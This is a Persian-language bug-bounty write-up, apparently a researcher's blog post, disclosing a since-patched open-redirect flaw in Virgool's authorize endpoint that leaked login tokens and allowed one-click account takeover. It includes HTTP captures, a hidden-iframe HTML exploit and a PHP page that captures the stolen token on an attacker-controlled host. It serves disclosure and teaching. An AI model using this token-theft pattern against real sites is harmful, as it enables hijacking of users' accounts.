خب این نوشتار مربوط به آسیبپذیری هست که در ویرگول پیدا کردم و با استفاده از آن امکان بدست آوردن حسابکاربری هر فردی در ویرگول وجود داشت. خوشبختانه پس از گزارش این آسیبپذیری به ویرگول، مشکل خیلی سریع مرتفع شد و در حال حاضر سایت امن شده است.
داستان به این شکل بود که ویرگول قابلیت domain parking رو به کاربراش میده، برای مثال site.com میتونه یک کپی از virgoo.io/virgoolname باشه. در حالی که توی ویرگول لاگین نبودم، داشتم از سایت https://tech.cafebazaar.ir بازدید میکردم، متوجه یه لینک شدم:
https://virgool.io/authorize?redirectedFrom=https://tech.cafebazaar.ir&status=login
روی لینک کلیک کردم، به سایت اصلی ویرگول منتقل شدم، لاگین کردم و بهصورت خودکار به سایتی که توش بودم برگشتم (https://tech.cafebazaar.ir). اگه بخوایم جریانکاری رو ببینیم (به قسمتهای پررنگتر توجه بیشتر بشه):
GET /authorize?redirectedFrom=https://tech.cafebazaar.ir&status=login HTTP/1.1
Host: virgool.io
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://tech.cafebazaar.ir/
Connection: close
Cookie: PHPSESSID=REDUCTED; rec=REDUCTED; XSRF-TOKEN=REDUCTED; vrgl_sess=REDUCTED; _ga=GA1.2.1769807866.1561463323; _gid=GA1.2.215640833.1561463323; _vcfg=%7B%22tpcs_c%22%3A49%7D; nightmode={%22value%22:0%2C%22userMenu%22:0%2C%22active%22:0}; __cfduid=daf3ea276c68e9eb2200e84f71f8b3ea61561463882; _gat_UA-96394274-1=1
Upgrade-Insecure-Requests: 1
جواب سرور:
HTTP/1.1 302 Found
Server: nginx/1.15.9
Date: Wed, 26 Jun 2019 05:45:35 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: Virgool
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Cache-Control: no-cache, private
Location: https://virgool.io/login
Set-Cookie: XSRF-TOKEN=REDUCTED; expires=Thu, 27-Jun-2019 05:45:35 GMT; Max-Age=86400; path=/
Set-Cookie: vrgl_sess=REDUCTED; expires=Thu, 27-Jun-2019 05:45:35 GMT; Max-Age=86400; path=/; httponly
X-Frame-Options: sameorigin
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Security-Policy: default-src 'self' files.virgool.io blob:; connect-src 'self' https://www.google-analytics.com stats.vstat.ir heapanalytics.com cdn.iframe.ly https://geoip-db.com; font-src 'self' data: https://virgool.io; img-src blob: data: https: 'self' files.virgool.io https://www.google-analytics.com; object-src 'self' virgool.io; media-src cdn.virgool.io; script-src 'self' blob: https://virgool.io 'unsafe-eval' 'unsafe-inline' www.googletagmanager.com https://www.google-analytics.com js-agent.newrelic.com stats.vstat.ir bam.eu01.nr-data.net heapanalytics.com cdn.iframe.ly https://cdn.iframe.ly https://geoip-db.com https: 'self'; style-src 'unsafe-inline' data: https: 'self'; frame-src 'self' cdn.iframe.ly https://cdn.iframe.ly chromenull: https: webviewprogressproxy: ; worker-src blob: 'self';
Strict-Transport-Security: max-age=15724800; includeSubDomains
Content-Length: 5830
بعد از وارد کردن اطلاعات و کلیک روی دکمه «ورود»:
POST /api/v1.2/login HTTP/1.1
Host: virgool.io
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://virgool.io/login
X-XSRF-TOKEN: REDUCTED
Content-Type: multipart/form-data; boundary=---------------------------1803676204095613341172964359
Content-Length: 319
Connection: close
Cookie: PHPSESSID=REDUCTED; rec=REDUCTED; XSRF-TOKEN=REDUCTED%3D%3D; vrgl_sess=REDUCTED; _ga=GA1.2.1769807866.1561463323; _gid=GA1.2.215640833.1561463323; _vcfg=%7B%22tpcs_c%22%3A49%7D; nightmode={%22value%22:0%2C%22userMenu%22:0%2C%22active%22:0}; __cfduid=daf3ea276c68e9eb2200e84f71f8b3ea61561463882; _gat_UA-96394274-1=1
-----------------------------1803676204095613341172964359
Content-Disposition: form-data; name="username"
y.shahinzadeh@gmail.com
-----------------------------1803676204095613341172964359
Content-Disposition: form-data; name="password"
REDUCTED
-----------------------------1803676204095613341172964359--
جواب:
HTTP/1.1 200 OK
Server: nginx/1.15.9
Date: Wed, 26 Jun 2019 05:45:55 GMT
Content-Type: application/json
Connection: close
Vary: Accept-Encoding
X-Powered-By: Virgool
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Cache-Control: no-cache, private
X-RateLimit-Limit: 1000
X-RateLimit-Remaining: 861
Set-Cookie: auth_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.REDUCTED; expires=Wed, 25-Mar-2020 23:45:55 GMT; Max-Age=23652000; path=/
Set-Cookie: jwts=REDUCTED; expires=Wed, 25-Mar-2020 23:45:55 GMT; Max-Age=23652000; path=/; secure; httponly
Set-Cookie: refreshed_token=REDUCTED; expires=Wed, 26-Jun-2019 06:05:55 GMT; Max-Age=1200; path=/; secure
Set-Cookie: uid=sb5uevdkih3r; expires=Wed, 25-Mar-2020 23:45:55 GMT; Max-Age=23652000; path=/
Set-Cookie: vrgl_sess=REDUCTED; expires=Thu, 27-Jun-2019 05:45:55 GMT; Max-Age=86400; path=/; httponly
X-Frame-Options: sameorigin
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Security-Policy: default-src 'self' files.virgool.io blob:; connect-src 'self' https://www.google-analytics.com stats.vstat.ir heapanalytics.com cdn.iframe.ly https://geoip-db.com; font-src 'self' data: https://virgool.io; img-src blob: data: https: 'self' files.virgool.io https://www.google-analytics.com; object-src 'self' virgool.io; media-src cdn.virgool.io; script-src 'self' blob: https://virgool.io 'unsafe-eval' 'unsafe-inline' www.googletagmanager.com https://www.google-analytics.com js-agent.newrelic.com stats.vstat.ir bam.eu01.nr-data.net heapanalytics.com cdn.iframe.ly https://cdn.iframe.ly https://geoip-db.com https: 'self'; style-src 'unsafe-inline' data: https: 'self'; frame-src 'self' cdn.iframe.ly https://cdn.iframe.ly chromenull: https: webviewprogressproxy: ; worker-src blob: 'self';
Strict-Transport-Security: max-age=15724800; includeSubDomains
Content-Length: 612
{"success":true,"token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.REDUCTED.juAVldUazb6ZTMCopRaXzWQGh-6EYnxXjUd8uEK5jDA","previous_url":"https:\/\/virgool.io\/authorize?redirectedFrom=https:\/\/tech.cafebazaar.ir&status=checked","user":{"name":"YShahinzadeh","activated":1,"username":"YShahinzadeh","avatar":"https:\/\/files.virgool.io\/upload\/users\/9091\/avatar\/1xRXC6.png"}}
خب تا اینجا هیچ مشکلی مشاهده نمیشه. ایده فاز کردن URL توی لینک لاگین اصلا جذاب نیست، چرا؟ برای اینکه فرض کنید بتونیم چنین لینکی رو به قربانی بدیم:
https://virgool.io/authorize?redirectedFrom=https://test.com&status=login
بعد از انجام فرایند لاگین، کاربر به https://test.com هدایت مجدد میشه (تازه اگه چک نشه)، و خب سوالی که پیش میاد اینه: که چی؟ یه Open Redirect ساده هست با درجه اهمیت پایین. خب اینجا بنظر من قبل اینکه باقی نوشته رو بخونید، تو ذهن خودتون سناریوهای حمله رو که میشه اینجا پیادهسازی کرد رو ترسیم کنید. اولین چیزی که اون موقع تست کردم و منجر به کشف آسیبپذیری هم شد، این سناریو بود:
چی میشه اگه کاربری که الان لاگین هست، روی لینک کلیک کنه؟
جالب اینه که امروز این رو از یک شخص پرسیدم و جواب داد: خب میره اونور یه توکن رفرش بهش میده و برمیگرده. یعنی خیلی براش بدیهی بود این رفتار. حداقل برای من توی اون لحظه بدیهی نبود؛ اما چک کردم. خب درخواست با سشن لاگین:
GET /authorize?redirectedFrom=http://tech.cafebazaar.ir&status=login HTTP/1.1
Host: virgool.io
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: REDUCTED
Upgrade-Insecure-Requests: 1
جواب به شدت جالب بود:
HTTP/1.1 302 Found
Server: nginx/1.15.9
Date: Wed, 26 Jun 2019 08:34:53 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: Virgool
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Cache-Control: no-cache, private
Location: http://tech.cafebazaar.ir/authorize-token?token=sa5uevekit3r&redirectedFrom=http://tech.cafebazaar.ir&nightmode={"value":0,"userMenu":0,"active":0}
Set-Cookie: XSRF-TOKEN=REDUCTED; expires=Thu, 27-Jun-2019 08:34:53 GMT; Max-Age=86400; path=/
Set-Cookie: vrgl_sess=REDUCTED; expires=Thu, 27-Jun-2019 08:34:53 GMT; Max-Age=86400; path=/; httponly
X-Frame-Options: sameorigin
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Security-Policy: default-src 'self' files.virgool.io blob:; connect-src 'self' https://www.google-analytics.com stats.vstat.ir heapanalytics.com cdn.iframe.ly https://geoip-db.com; font-src 'self' data: https://virgool.io; img-src blob: data: https: 'self' files.virgool.io https://www.google-analytics.com; object-src 'self' virgool.io; media-src cdn.virgool.io; script-src 'self' blob: https://virgool.io 'unsafe-eval' 'unsafe-inline' www.googletagmanager.com https://www.google-analytics.com js-agent.newrelic.com stats.vstat.ir bam.eu01.nr-data.net heapanalytics.com cdn.iframe.ly https://cdn.iframe.ly https://geoip-db.com https: 'self'; style-src 'unsafe-inline' data: https: 'self'; frame-src 'self' cdn.iframe.ly https://cdn.iframe.ly chromenull: https: webviewprogressproxy: ; worker-src blob: 'self';
Strict-Transport-Security: max-age=15724800; includeSubDomains
Content-Length: 6482
همون حدس دوستمون درست بود (صد آفرین). کاربر با توکن برمیگرده سمت صفحه اولی که داخلش بوده. خب چی میشه اگه ما بتونیم به این توکن دسترسی داشته باشیم؟ جواب اینه که میتوینم بجای کاربر لاگین کنیم (بدون داشتن نامکاربری و گذرواژه) و در واقع اکانت رو تصاحب کنیم. با چه آسیبپذیری میشه این توکن رو سرقت کرد؟ دقیقا… Open Redirect که همیشه در حقش اجحاف میشه. تست کردم:
GET /authorize?redirectedFrom=http://localhost/&status=login HTTP/1.1
Host: virgool.io
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
...
و جواب:
HTTP/1.1 302 Found
Server: nginx/1.15.9
Date: Wed, 26 Jun 2019 08:42:40 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
X-Powered-By: Virgool
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Cache-Control: no-cache, private
Location: http://localhost/authorize-token?token=sb5uevdkih3r&redirectedFrom=http://localhost/&nightmode={"value":0,"userMenu":0,"active":0}
…
و تامام. حساب تصاحب میشه، از این قسمت به بعد وارد فاز اکسپلویت کردن میشیم. کد اکسپلویت:
<style>
iframe {
visibility: hidden;
position: absolute;
left: 0; top: 0;
height:0; width:0;
border: none;
}
</style>
<center><img src="troll.jpg"></center> <iframe src="https://virgool.io/authorize?redirectedFrom=http://localhost/v/g.php&status=login"></iframe>
محتویات صفحه g.php:
<?php
file_put_contents('hacked.html', '<html><meta content="text/html;charset=utf-8" http-equiv="Content-Type">
<meta content="utf-8" http-equiv="encoding">=\'http://virgool.io/authorize-token?token=' . $_GET['token'] . '&redirectedFrom=https://virgool.io&nightmode={"value":0,"userMenu":0,"active":0}\'');
?>
حالا اگه قربانی در حالی که توی حساب ویرگول خودش لاگین هست، از سایت مهاجم بازدید کنه، چنین درخواستی رو برای سرور مهاجم میفرسته که توکن اصالتسنجی توش هست:
GET /authorize-token?token=sa5uevekit3r&redirectedFrom=http://localhost/v/g.php&nightmode={%22value%22:0,%22userMenu%22:0,%22active%22:0} HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://localhost/v/
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
و مهاجم میتونه با این توکن بهجای کاربر لاگین کنه. این هم لینک ویدئو اثبات آسیبپذیری که درک خیلی خوبی از شدت حمله میده:
https://www.youtube.com/watch?v=ofXsnM7UozY
در آخر هم جا داره تشکر کنم از تیم فنی ویرگول که بسیار خوش برخورد بودن و بانتی (اصلا مبلغش مهم نیست) به این آسیبپذیری اختصاص دادن، همچنین سرعت عمل بسیار بالایی در دریافت و صدور وصله امنیتی داشتن.
زندگی من به سه قسمت تقسیم میشه، قسمت اول کار روزانه من هست که مثل بقیه مردم میرم سر کار. قسمت دوم سعی در براورده کردن علایق کاری خودم، مثل همین وبلاگ. قسمت سوم هم خانواده، مسافرت و تفریح. تلاش میکنم توی قسمت دوم، باگبانتی کار کنم، هم درآمد خوبی داره هم هیجان خاص خودش رو. اون قسمتهایی از تکنیکها و کشفیات در فرایند باگبانتی رو سعی میکنم توی این وبلاگ قرار بدم.
[…] توی این پست قصد دارم راجع به یک آسیبپذیری که با علی پیدا کردیم براتون بگم. با اکسپلویت آسیبپذیری که در پیادهسازی نادرست SSO بود، تصاحب هر حساب کاربری تنها با یک کلیک قابل انجام بود. Single Sign-on یک مدل احراز هویت است که در آن کاربران یک سازمان با یک شناسه عملیات ورود رو فقط یک بار انجام میدن و از اون به بعد در سرویسهای اون سازمان لاگین هستند. برای مثال شرکت گوگل رو در نظر بگیرید، کاربر با وارد شدن به حساب گوگل، میتواند به سرویسهای متعددی از این شرکت دسترسی پیدا کند. مهمترین چالش SSO، وجود دامینهای متفاوت است. بههمین منظور یک فاز انتقال احراز هویت باید وجود داشته باشد که اگه موارد امنیتی رعایت نشده باشد، میتواند منجر به ایجاد آسیبپذیری شود – چطوری من میتونستم هر حساب و… […]
خیلی خوب بود دمت گرم??
به نظرم هم مطالبتون خوب بود هم ترسناک